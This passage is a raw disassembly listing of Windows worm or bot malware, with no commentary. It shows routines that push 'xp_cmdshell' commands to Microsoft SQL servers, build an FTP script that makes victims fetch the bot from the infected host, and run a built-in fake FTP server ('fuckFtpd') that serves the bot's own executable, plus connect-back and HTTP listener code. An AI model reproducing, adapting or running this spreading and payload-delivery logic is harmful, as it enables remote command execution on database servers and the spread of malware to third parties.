sub_404EC7+101j ; sub_404EC7+107j lea eax, [ebp+var_8] push eax push [ebp+var_10] push 3 call dword_43C4D8 push ebx push ebx call sub_415372 push eax call sub_415372 push eax push dword_43B1A0 push [ebp+arg_0] call sub_40A08A pop ecx push eax lea eax, [ebp+var_62C] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"... push eax call sub_415316 add esp, 20h lea eax, [ebp+var_62C] push 0FFFFFFFDh push eax push [ebp+var_8] call dword_43C518 test ax, ax jz short loc_405075 mov esi, 1388h push esi call edi ; Sleep push ebx lea eax, [ebp+var_62C] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push eax call sub_415316 add esp, 0Ch lea eax, [ebp+var_62C] push 0FFFFFFFDh push eax push [ebp+var_8] call dword_43C518 test ax, ax jz short loc_405093 push esi call edi ; Sleep loc_405075: ; CODE XREF: sub_404EC7+175j push [ebp+var_8] push 3 call dword_43C570 loc_405080: ; CODE XREF: sub_404EC7+11Aj xor esi, esi loc_405082: ; CODE XREF: sub_404EC7+96j add [ebp+var_C], 4 mov eax, [ebp+var_C] cmp [eax], esi jnz loc_404F57 jmp short loc_4050DF ; --------------------------------------------------------------------------- loc_405093: ; CODE XREF: sub_404EC7+1A9j cmp [ebp+arg_B4], 0 mov [ebp+var_18], 1 jnz short loc_4050C1 push 0 lea eax, [ebp+var_22C] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_4050C1: ; CODE XREF: sub_404EC7+1DAj lea eax, [ebp+var_22C] push eax call sub_40B078 mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch lea eax, dword_427390[eax] inc dword ptr [eax] loc_4050DF: ; CODE XREF: sub_404EC7+1CAj push [ebp+var_10] push 2 call dword_43C570 mov esi, [ebp+var_18] pop edi pop ebx loc_4050EF: ; CODE XREF: sub_404EC7+77j push [ebp+var_14] push 1 call dword_43C570 mov eax, esi loc_4050FC: ; CODE XREF: sub_404EC7+60j pop esi leave retn sub_404EC7 endp ; --------------------------------------------------------------------------- push esi push edi sub esp, 0BCh lea esi, [esp+0C8h] mov dword ptr [esp+168h], 599h push 2Fh pop ecx mov edi, esp rep movsd call sub_404EC7 push 2Fh lea esi, [esp+0CCh] pop ecx mov dword ptr [esp+168h], 1BDh mov edi, esp rep movsd call sub_403C74 add esp, 0BCh xor eax, eax inc eax pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40514F proc near ; CODE XREF: seg001:0040534Dp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43C594 ; inet_addr mov [ebp+var_C], eax mov ax, word_426744 push eax call dword_43C554 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_43C5D4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_405268 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43C4FC ; connect cmp eax, 0FFFFFFFFh jz loc_405268 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43C56C ; recv mov esi, offset byte_42C2BC push esi push esi push dword_43B1A0 push [ebp+arg_0] call sub_40A08A pop ecx mov edi, 190h push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41588A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz short loc_405268 push 1F4h call dword_421060 ; Sleep push esi push offset dword_425090 lea eax, [ebp+var_1A0] push edi push eax call sub_41588A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_40526C loc_405268: ; CODE XREF: sub_40514F+51j ; sub_40514F+67j ... xor al, al jmp short loc_40528A ; --------------------------------------------------------------------------- loc_40526C: ; CODE XREF: sub_40514F+117j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43C56C ; recv push ebx call dword_43C5EC ; closesocket mov al, 1 loc_40528A: ; CODE XREF: sub_40514F+11Bj pop edi pop esi pop ebx leave retn sub_40514F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax call dword_4211CC ; gethostbyname mov esi, eax test esi, esi jnz short loc_4052B9 lea eax, [ebp+0Ch] push eax call dword_4211DC ; inet_addr mov ebx, eax jmp short loc_4052BF ; --------------------------------------------------------------------------- loc_4052B9: ; CODE XREF: seg001:004052A9j mov ebx, [ebp+0C0h] loc_4052BF: ; CODE XREF: seg001:004052B7j push 11h push 2 push 2 call dword_4211E4 ; socket test esi, esi mov edi, eax jz short loc_4052E9 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_4153F0 add esp, 0Ch jmp short loc_4052EC ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: seg001:004052CFj mov [ebp-0Ch], ebx loc_4052EC: ; CODE XREF: seg001:004052E7j test esi, esi jz short loc_4052FA mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_405300 ; --------------------------------------------------------------------------- loc_4052FA: ; CODE XREF: seg001:004052EEj mov word ptr [ebp-10h], 2 loc_405300: ; CODE XREF: seg001:004052F8j push 598h call dword_4211E0 ; ntohs mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call dword_4211E8 ; connect test eax, eax jnz short loc_405381 push eax push 152h push offset dword_4265F0 push edi call dword_4211F0 ; send push 3E8h call dword_421060 ; Sleep sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40514F add esp, 0BCh test al, al jz short loc_405361 xor eax, eax inc eax jmp short loc_405393 ; --------------------------------------------------------------------------- loc_405361: ; CODE XREF: seg001:0040535Aj lea eax, [ebp-210h] push eax call sub_40B078 mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch lea eax, dword_427390[eax] inc dword ptr [eax] jmp short loc_405391 ; --------------------------------------------------------------------------- loc_405381: ; CODE XREF: seg001:0040531Ej push 1 push edi call dword_4211D0 ; shutdown push edi call dword_4211F4 ; closesocket loc_405391: ; CODE XREF: seg001:0040537Fj xor eax, eax loc_405393: ; CODE XREF: seg001:0040535Fj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405398 proc near ; DATA XREF: sub_4071B6+227o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_134 = byte ptr -134h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] inc ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_24], ebx mov [ebp+var_28], ebx mov [ebp+var_238], edi mov [ebp+var_438], edi call dword_4211B4 ; WSAStartup push edi call sub_41697B push eax call sub_415368 push 0FA00h push 471h call sub_413F12 add esp, 10h mov dword_43B1A0, eax push edi push ebx push 2 call dword_4211E4 ; socket mov esi, eax lea eax, [ebp+var_24] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call dword_4211B8 ; setsockopt lea eax, [ebp+var_28] push eax push 8004667Eh push esi call dword_4211BC ; ioctlsocket mov ax, word ptr dword_43B1A0 mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call dword_4211E0 ; ntohs mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call dword_4211C0 ; bind test eax, eax jge short loc_40546D mov eax, ebx jmp loc_405978 ; --------------------------------------------------------------------------- loc_40546D: ; CODE XREF: sub_405398+CCj push 0Ah push esi call dword_4211C4 ; listen mov [ebp+var_238], ebx mov ebx, dword_4211F0 mov [ebp+var_234], esi mov [ebp+var_4], esi loc_40548B: ; CODE XREF: sub_405398+12Aj ; sub_405398+5D8j push 41h lea esi, [ebp+var_238] pop ecx lea edi, [ebp+var_438] rep movsd xor edi, edi lea eax, [ebp+var_438] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call dword_4211D4 ; select cmp eax, 0FFFFFFFFh jz loc_405975 cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_40548B loc_4054C4: ; CODE XREF: sub_405398+5D2j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_415390 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_415390 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_420A06 ; __WSAFDIsSet test eax, eax jz loc_405963 cmp edi, [ebp+var_C] jnz short loc_40556D lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_134] push eax push [ebp+var_C] call dword_4211C8 ; accept cmp eax, 0FFFFFFFFh jz loc_405963 mov edx, [ebp+var_238] xor ecx, ecx cmp edx, esi jbe short loc_40553F loc_405531: ; CODE XREF: sub_405398+1A5j cmp [ebp+ecx*4+var_234], eax jz short loc_40553F inc ecx cmp ecx, edx jb short loc_405531 loc_40553F: ; CODE XREF: sub_405398+197j ; sub_405398+1A0j cmp ecx, edx jnz short loc_405555 cmp edx, 40h jnb short loc_405555 mov [ebp+ecx*4+var_234], eax inc [ebp+var_238] loc_405555: ; CODE XREF: sub_405398+1A9j ; sub_405398+1AEj cmp eax, [ebp+var_4] jle short loc_40555D mov [ebp+var_4], eax loc_40555D: ; CODE XREF: sub_405398+1C0j push esi push 15h push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n" push eax call ebx ; send jmp loc_405963 ; --------------------------------------------------------------------------- loc_40556D: ; CODE XREF: sub_405398+167j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call dword_4211EC ; recv test eax, eax jg short loc_4055CA mov ecx, [ebp+var_238] xor eax, eax cmp ecx, esi jbe short loc_4055BE loc_40558E: ; CODE XREF: sub_405398+202j cmp [ebp+eax*4+var_234], edi jz short loc_4055B3 inc eax cmp eax, ecx jb short loc_40558E jmp short loc_4055BE ; --------------------------------------------------------------------------- loc_40559E: ; CODE XREF: sub_405398+21Ej mov ecx, [ebp+eax*4+var_230] mov [ebp+eax*4+var_234], ecx mov ecx, [ebp+var_238] inc eax loc_4055B3: ; CODE XREF: sub_405398+1FDj dec ecx cmp eax, ecx jb short loc_40559E dec [ebp+var_238] loc_4055BE: ; CODE XREF: sub_405398+1F4j ; sub_405398+204j push edi call dword_4211F4 ; closesocket jmp loc_405963 ; --------------------------------------------------------------------------- loc_4055CA: ; CODE XREF: sub_405398+1E8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call sub_416947 lea eax, [ebp+var_AC] push offset aUser_0 ; "USER" push eax call sub_415730 add esp, 18h test eax, eax jnz short loc_40560E push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40594E ; --------------------------------------------------------------------------- loc_40560E: ; CODE XREF: sub_405398+267j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_405632 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40594E ; --------------------------------------------------------------------------- loc_405632: ; CODE XREF: sub_405398+28Bj lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_405656 push esi push 0Dh push offset a215Fuckftpd ; "215 fuckFtpd\n" jmp loc_40594E ; --------------------------------------------------------------------------- loc_405656: ; CODE XREF: sub_405398+2AFj lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40567A push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40594E ; --------------------------------------------------------------------------- loc_40567A: ; CODE XREF: sub_405398+2D3j lea eax, [ebp+var_AC] push offset off_42694C push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40569E push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40594E ; --------------------------------------------------------------------------- loc_40569E: ; CODE XREF: sub_405398+2F7j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_4056D9 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_4056D9 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40594E ; --------------------------------------------------------------------------- loc_4056D9: ; CODE XREF: sub_405398+31Bj ; sub_405398+332j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_405714 lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_405714 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40594E ; --------------------------------------------------------------------------- loc_405714: ; CODE XREF: sub_405398+356j ; sub_405398+36Dj lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_405762 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_415B10 pop ecx push eax lea eax, [ebp+var_124] loc_405752: ; CODE XREF: sub_405398+409j push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_405951 ; --------------------------------------------------------------------------- loc_405762: ; CODE XREF: sub_405398+391j lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_4057A3 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_415B10 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_405752 ; --------------------------------------------------------------------------- loc_4057A3: ; CODE XREF: sub_405398+3DFj lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz loc_405874 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_416947 lea eax, [ebp+var_F8] push eax call sub_41587F mov [ebp+var_8], eax lea eax, [ebp+var_2D0] push eax call sub_41587F mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_415390 push [ebp+arg_0] lea eax, [ebp+var_F8] push [ebp+var_8] push offset aXX ; "%x%x\n" push eax call sub_415316 add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_416930 mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_415316 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40594E ; --------------------------------------------------------------------------- loc_405874: ; CODE XREF: sub_405398+420j lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40592F push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_40597F pop ecx cmp eax, 1 pop ecx jnz short loc_405925 call sub_4059FC cmp eax, 1 jnz loc_405951 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_43B1A0 push eax lea eax, [ebp+var_8DC] push offset dword_426790 push eax call sub_415316 add esp, 14h cmp [ebp+var_440], esi jnz short loc_405916 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_412BD1 add esp, 14h loc_405916: ; CODE XREF: sub_405398+559j lea eax, [ebp+var_8DC] push eax call sub_40B078 pop ecx jmp short loc_405951 ; --------------------------------------------------------------------------- loc_405925: ; CODE XREF: sub_405398+513j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40594E ; --------------------------------------------------------------------------- loc_40592F: ; CODE XREF: sub_405398+4F1j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_405951 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40594E: ; CODE XREF: sub_405398+271j ; sub_405398+295j ... push edi call ebx ; send loc_405951: ; CODE XREF: sub_405398+3C5j ; sub_405398+51Dj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_415390 add esp, 0Ch loc_405963: ; CODE XREF: sub_405398+15Ej ; sub_405398+187j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_4054C4 jmp loc_40548B ; --------------------------------------------------------------------------- loc_405975: ; CODE XREF: sub_405398+11Ej xor eax, eax inc eax loc_405978: ; CODE XREF: sub_405398+D0j pop edi pop esi pop ebx leave retn 4 sub_405398 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40597F proc near ; CODE XREF: sub_405398+509p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4211B4 ; WSAStartup push 0 push 1 push 2 call dword_4211E4 ; socket push [ebp+arg_0] mov dword_43B19C, eax mov [ebp+var_10], 2 call dword_4211DC ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_4211E0 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_43B19C call dword_4211E8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4059F7 push dword_43B19C call dword_4211F4 ; closesocket call dword_4211B0 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4059F7: ; CODE XREF: sub_40597F+60j xor eax, eax inc eax leave retn sub_40597F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059FC proc near ; CODE XREF: sub_405398+515p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_42107C ; GetModuleFileNameA lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_415A08 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405A93 test byte ptr [esi+0Ch], 10h jnz short loc_405A77 push edi mov edi, 400h loc_405A3F: ; CODE XREF: sub_4059FC+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_416A57 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_43B19C call dword_4211F0 ; send push 1 call dword_421060 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_405A3F pop edi loc_405A77: ; CODE XREF: sub_4059FC+3Bj push esi call sub_415960 pop ecx push dword_43B19C call dword_4211F4 ; closesocket call dword_4211B0 ; WSACleanup xor eax, eax inc eax loc_405A93: ; CODE XREF: sub_4059FC+35j pop esi leave retn sub_4059FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A96 proc near ; DATA XREF: sub_4071B6+333o ; sub_40CD3A+5007o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_415B90 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] xor ebx, ebx rep movsd xor esi, esi push 10h inc esi push ebx mov [eax+3ACh], esi lea eax, [ebp+var_24] push eax mov [ebp+var_14], esi call sub_415390 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43C554 ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43C5D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_405E5C mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4416D4[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43C580 ; bind cmp eax, 0FFFFFFFFh jz loc_405E5C push 7FFFFFFFh push edi call dword_43C57C ; listen cmp eax, 0FFFFFFFFh jz loc_405E5C lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43C5F0 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_405E5C mov ebx, esi mov [ebp+var_124], edi mov [ebp+var_128], ebx mov [ebp+var_4], edi loc_405B6D: ; CODE XREF: sub_405A96+3BCj push 41h xor eax, eax pop ecx lea esi, [ebp+var_128] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_4] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43C53C ; select cmp eax, 0FFFFFFFFh jz loc_405E57 xor edi, edi mov [ebp+arg_0], edi loc_405BA3: ; CODE XREF: sub_405A96+3B6j lea eax, [ebp+var_6F0] push eax push edi call dword_43C44C ; __WSAFDIsSet test eax, eax jz loc_405E42 cmp edi, [ebp+var_8] jnz short loc_405C24 lea eax, [ebp+var_C] mov [ebp+var_C], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call dword_43C5E8 ; accept cmp eax, 0FFFFFFFFh jz loc_405E42 xor ecx, ecx test ebx, ebx jbe short loc_405BF6 loc_405BE8: ; CODE XREF: sub_405A96+15Ej cmp [ebp+ecx*4+var_124], eax jz short loc_405BF6 inc ecx cmp ecx, ebx jb short loc_405BE8 loc_405BF6: ; CODE XREF: sub_405A96+150j ; sub_405A96+159j cmp ecx, ebx jnz short loc_405C13 cmp ebx, 40h jnb short loc_405C13 mov [ebp+ecx*4+var_124], eax mov ebx, [ebp+var_128] inc ebx mov [ebp+var_128], ebx loc_405C13: ; CODE XREF: sub_405A96+162j ; sub_405A96+167j cmp eax, [ebp+var_4] jbe loc_405E42 mov [ebp+var_4], eax jmp loc_405E42 ; --------------------------------------------------------------------------- loc_405C24: ; CODE XREF: sub_405A96+126j mov esi, 1000h lea eax, [ebp+var_28F0] push esi push 0 push eax call sub_415390 push esi lea eax, [ebp+var_18F0] push 0 push eax call sub_415390 add esp, 18h lea eax, [ebp+var_28F0] push 0 push esi push eax push edi call dword_43C56C ; recv test eax, eax jg short loc_405CAB push edi call dword_43C5EC ; closesocket xor eax, eax test ebx, ebx jbe loc_405E42 loc_405C70: ; CODE XREF: sub_405A96+1E6j cmp [ebp+eax*4+var_124], edi jz short loc_405C98 inc eax cmp eax, ebx jb short loc_405C70 jmp loc_405E42 ; --------------------------------------------------------------------------- loc_405C83: ; CODE XREF: sub_405A96+207j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_405C98: ; CODE XREF: sub_405A96+1E1j lea ecx, [ebx-1] cmp eax, ecx jb short loc_405C83 dec ebx mov [ebp+var_128], ebx jmp loc_405E42 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_405A96+1C7j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_415390 lea eax, [ebp+var_28F0] xor edi, edi push eax call sub_415B10 add esp, 10h test eax, eax jbe loc_405E42 loc_405CD8: ; CODE XREF: sub_405A96+2F9j mov al, [ebp+edi+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405D7E mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_4158E0 pop ecx test eax, eax pop ecx jz short loc_405D4E lea eax, [ebp+var_18F0] push eax call sub_415B10 cmp eax, 5 pop ecx jbe short loc_405D4E mov eax, offset asc_426A34 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_4158E0 pop ecx pop ecx push eax call sub_4158E0 pop ecx pop ecx push eax call sub_416B3F push eax lea eax, [ebp+var_23C] push eax call sub_415A20 add esp, 10h jmp short loc_405D65 ; --------------------------------------------------------------------------- loc_405D4E: ; CODE XREF: sub_405A96+26Ej ; sub_405A96+280j lea eax, [ebp+var_18F0] push offset asc_426A30 ; "\r\n" push eax call sub_415730 pop ecx test eax, eax pop ecx jz short loc_405D9A loc_405D65: ; CODE XREF: sub_405A96+2B6j push 1000h lea eax, [ebp+var_18F0] push 0 push eax call sub_415390 add esp, 0Ch or esi, 0FFFFFFFFh loc_405D7E: ; CODE XREF: sub_405A96+252j lea eax, [ebp+var_28F0] inc edi push eax inc esi call sub_415B10 cmp edi, eax pop ecx jb loc_405CD8 jmp loc_405E42 ; --------------------------------------------------------------------------- loc_405D9A: ; CODE XREF: sub_405A96+2CDj xor eax, eax test ebx, ebx jbe short loc_405DD6 loc_405DA0: ; CODE XREF: sub_405A96+319j mov ecx, [ebp+eax*4+var_124] cmp ecx, [ebp+arg_0] jz short loc_405DC8 inc eax cmp eax, ebx jb short loc_405DA0 jmp short loc_405DD6 ; --------------------------------------------------------------------------- loc_405DB3: ; CODE XREF: sub_405A96+337j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_405DC8: ; CODE XREF: sub_405A96+314j lea ecx, [ebx-1] cmp eax, ecx jb short loc_405DB3 dec ebx mov [ebp+var_128], ebx loc_405DD6: ; CODE XREF: sub_405A96+308j ; sub_405A96+31Bj lea eax, [ebp+var_360] push eax call sub_415B10 mov esi, eax lea eax, [ebp+var_23C] push eax call sub_415B10 add esi, eax pop ecx cmp esi, 104h pop ecx jnb short loc_405E39 and [ebp+var_10], 0 lea eax, [ebp+var_10] push eax push 8004667Eh push [ebp+arg_0] call dword_43C5F0 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_0] call sub_406048 add esp, 14h jmp short loc_405E42 ; --------------------------------------------------------------------------- loc_405E39: ; CODE XREF: sub_405A96+364j push [ebp+arg_0] call dword_43C5EC ; closesocket loc_405E42: ; CODE XREF: sub_405A96+11Dj ; sub_405A96+146j ... mov edi, [ebp+arg_0] inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jbe loc_405BA3 jmp loc_405B6D ; --------------------------------------------------------------------------- loc_405E57: ; CODE XREF: sub_405A96+102j mov edi, [ebp+var_8] xor ebx, ebx loc_405E5C: ; CODE XREF: sub_405A96+6Aj ; sub_405A96+92j ... call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_4269E8 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405EA2 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_412BD1 add esp, 14h loc_405EA2: ; CODE XREF: sub_405A96+3E7j lea eax, [ebp+var_8F0] push eax call sub_40B078 pop ecx push edi call dword_43C5EC ; closesocket push [ebp+var_254] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_405A96 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: 